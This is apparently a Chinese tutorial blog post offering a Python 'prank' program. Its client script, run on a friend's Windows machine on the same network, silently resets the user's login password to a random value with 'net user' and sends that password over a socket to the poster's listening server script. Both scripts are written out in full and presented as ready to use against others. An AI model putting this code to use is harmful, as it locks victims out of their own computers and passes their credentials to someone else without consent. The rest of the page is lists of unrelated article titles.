一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
使用Python的Supervisor进行进程监控以及自动启动
May 29 Python
Python map和reduce函数用法示例
Feb 26 Python
python去除字符串中的换行符
Oct 11 Python
从请求到响应过程中django都做了哪些处理
Aug 01 Python
对Python之gzip文件读写的方法详解
Feb 08 Python
Python Pandas数据中对时间的操作
Jul 30 Python
Django自带日志 settings.py文件配置方法
Aug 30 Python
numpy 声明空数组详解
Dec 05 Python
在python shell中运行python文件的实现
Dec 21 Python
通过python连接Linux命令行代码实例
Feb 18 Python
详解Anaconda安装tensorflow报错问题解决方法
Nov 01 Python
python 获取字典键值对的实现
Nov 12 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
php短网址和数字之间相互转换的方法
2015/03/13 PHP
PHP使用GETDATE获取当前日期时间作为一个关联数组的方法
2015/03/19 PHP
win平台安装配置Nginx+php+mysql 环境
2016/01/12 PHP
php微信开发自定义菜单
2016/08/27 PHP
laravel如何开启跨域功能示例详解
2017/08/31 PHP
善用事件代理,警惕闭包的性能陷阱。
2011/01/20 Javascript
javascript 图片裁剪技巧解读
2012/11/15 Javascript
动态显示可输入的字数提示还可以输入的字数
2014/04/01 Javascript
详解Javascript中的原型OOP
2016/10/12 Javascript
cordova入门基础教程及使用中遇到的一些问题总结
2017/11/14 Javascript
Angular ElementRef简介及其使用
2018/10/01 Javascript
vue.js 实现a标签href里添加参数
2019/11/12 Javascript
探究Python的Tornado框架对子域名和泛域名的支持
2015/05/02 Python
dataframe设置两个条件取值的实例
2018/04/12 Python
python实现对服务器脚本敏感信息的加密解密功能
2019/08/13 Python
在TensorFlow中屏蔽warning的方式
2020/02/04 Python
Python使用tkinter实现小时钟效果
2021/02/22 Python
麦当劳印度网上订餐:McDelivery
2020/03/16 全球购物
美体小铺法国官方网站:The Body Shop法国
2020/06/04 全球购物
如何设置Java的运行环境
2013/04/05 面试题
精伦电子Java笔试题
2013/01/16 面试题
请写出一段Python代码实现删除一个list里面的重复元素
2015/12/29 面试题
办公室文秘自我评价
2013/09/21 职场文书
护士专业推荐信
2013/11/02 职场文书
核心价值观演讲稿
2014/05/13 职场文书
校园主题婚礼活动策划方案
2014/09/15 职场文书
查摆问题整改措施
2014/10/24 职场文书
老干部工作汇报材料
2014/10/28 职场文书
小学生交通安全寄语
2015/02/27 职场文书
学生犯错保证书
2015/05/09 职场文书
护理自荐信
2019/05/14 职场文书
基于Python的EasyGUI学习实践
2021/05/07 Python
解决Python中的modf()函数取小数部分不准确问题
2021/05/28 Python
Go语言实现Snowflake雪花算法
2021/06/08 Golang
Mysql数据库值的添加、修改、删除及清空操作实例
2021/06/20 MySQL
html5调用摄像头实例代码
2021/06/28 HTML / CSS